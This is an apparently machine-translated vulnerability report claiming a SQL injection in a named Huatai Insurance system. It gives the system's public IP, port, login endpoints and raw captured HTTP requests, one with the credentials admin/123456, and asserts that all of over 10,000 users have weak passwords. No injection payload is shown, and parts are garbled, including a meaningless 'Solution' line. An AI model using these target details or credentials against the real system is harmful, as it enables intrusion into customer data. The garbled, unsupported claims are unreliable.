An SQL injection vulnerability exists in a system of huatai insurance (supporting UNION involving millions of data)

An SQL injection vulnerability exists in a system of huatai insurance (supporting UNION involving millions of data)

SQL Injection Vulnerability (supporting UNION and millions of data records). Check whether the SQL injection vulnerability is 20 rank.

Huatai insurance integrated out-of-order system

Http: // 202.108.103.161: 9999/htcsp/
 

Capture packets when logging on
 

POST http://202.108.103.161:9999/htcsp/ShakeHandsAction.do?cmd=getMac HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://202.108.103.161:9999/htcsp/Accept-Language: zh-cnUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 202.108.103.161:9999Content-Length: 15Connection: Keep-AlivePragma: no-cacheCookie: JSESSIONID=122D50C621DA805034DB8DA6F887A52Ausername=system

 

 

Millions
 

10000 + users
 

All their passwords are weak.

The injection at logon is as follows:
 

POST http://202.108.103.161:9999/htcsp/ShakeHandsAction.do?cmd=getBranch HTTP/1.1Host: 202.108.103.161:9999Connection: keep-aliveContent-Length: 15Accept: application/json, text/javascript, */*; q=0.01Origin: http://202.108.103.161:9999X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://202.108.103.161:9999/htcsp/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=68FEDD38D5B21C563F64CF28708CD04Cusername=admin

 

POST http://202.108.103.161:9999/htcsp/ShakeHandsAction.do?cmd=loginWelcom HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: http://202.108.103.161:9999/htcsp/ShakeHandsAction.do?cmd=loginWelcomAccept-Language: zh-CNUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateConnection: Keep-AliveContent-Length: 72Host: 202.108.103.161:9999Pragma: no-cacheCookie: JSESSIONID=122D50C621DA805034DB8DA6F887A52Ausername=admin&password=123456&comcode=&yanzhengma=EW84&yanzhengTrue=false

In fact, the packages are similar, just a few more parameters.
 

 

Solution:

Everything goes without saying anything